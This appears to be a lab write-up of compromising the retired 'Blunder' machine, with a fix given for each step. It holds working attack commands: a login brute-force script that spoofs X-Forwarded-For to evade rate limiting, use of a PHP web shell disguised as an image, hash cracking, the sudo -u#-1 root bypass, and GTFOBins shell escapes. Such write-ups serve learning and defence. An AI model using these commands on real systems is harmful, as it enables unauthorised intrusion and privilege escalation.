Blunder
Summary
I found a username in a publicly readable notes file, generated a targeted password list from the site's own blog text, then bypassed the CMS login rate-limiter to authenticate. A known file-upload flaw in the Bludit CMS allowed uploading a PHP web shell disguised as an image, granting code execution as the web service account.
Credentials for a local user were recovered in plaintext from a second, unpatched CMS installation on the same server. That user's sudo policy was intended to block root access, but a well-known integer-overflow bug in an outdated sudo binary let me trivially bypass it and claim a full root shell.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 2
gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirb/common.txt -x txt,bak,log,php -t 40curl -s http://$TARGET/todo.txtFixRemove or restrict access to internal notes and configuration files in the web rootMedium
Exact commands 2
cewl -d 3 -m 5 http://$TARGET/ -w /tmp/blunder_words.txtgrep -i 'roland' /tmp/blunder_words.txtExact commands 2
python3 bludit_brute.py -u http://$TARGET -user fergus -wordlist /tmp/blunder_words.txtpython3 - <<'PY'
import requests, re
base="http://$TARGET"
s=requests.Session()
r=s.get(base+'/admin/index.php',timeout=8)
t=re.search(r'name="tokenCSRF" value="([^"]+)"',r.text).group(1)
for i,pw in enumerate(open('/tmp/blunder_words.txt')):
pw=pw.strip(); hdrs={'X-Forwarded-For':f'10.0.0.{i}'}
resp=s.post(base+'/admin/index.php',data={'tokenCSRF':t,'username':'fergus','password':pw},headers=hdrs,allow_redirects=False,timeout=8)
print(pw,resp.status_code)
if resp.status_code==301: break
PYFixPatch Bludit to fix the login rate-limit bypass (CVE-2019-17240)High
Exact commands 2
python3 bludit_rce.py -u http://$TARGET -user fergus -pass [REDACTED: recovered credential] -c 'id'curl -s "http://$TARGET/bl-content/tmp/cmd_jprrsmx.png?cmd=id"FixUpgrade Bludit to eliminate the authenticated file-upload RCE (CVE-2019-16113)Critical
cat /var/www/bludit-3.10.0a/bl-content/databases/users.php returned hugo's password hash; su - hugo with [REDACTED: recovered credential] succeeded.Exact commands 2
python3 - <<'PY'
import requests
url="http://$TARGET/bl-content/tmp/cmd_jprrsmx.png"
cmd='cat /var/www/bludit-3.10.0a/bl-content/databases/users.php'
r=requests.get(url,params={'cmd':cmd},timeout=15)
print(r.text)
PYhashcat -m 3200 hugo_hash.txt /usr/share/wordlists/rockyou.txtFixProtect CMS credential files and eliminate OS password reuseHigh
printf '[REDACTED: recovered credential]\n' | su - hugo -c 'id; sudo -l' returned uid=1000(hugo) and listed the sudo rule.Exact commands 2
python3 - <<'PY'
import requests
url="http://$TARGET/bl-content/tmp/cmd_jprrsmx.png"
cmd="printf '[REDACTED: recovered credential]\\n' | su - hugo -c 'id; cat /home/hugo/user.txt; sudo -l' 2>&1"
r=requests.get(url,params={'cmd':cmd},timeout=15)
print(r.text)
PYcat /home/hugo/user.txtprintf '[REDACTED: recovered credential]\n' | sudo -S -u#-1 /bin/bash -c 'id; whoami' returned uid=0(root) whoami=root.Exact commands 2
sudo -lprintf '[REDACTED: recovered credential]\n' | sudo -S -u#-1 /bin/bash -c 'id; whoami; cat /root/root.txt'FixPatch sudo to fix the UID -1 privilege escalation (CVE-2019-14287)Critical
Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.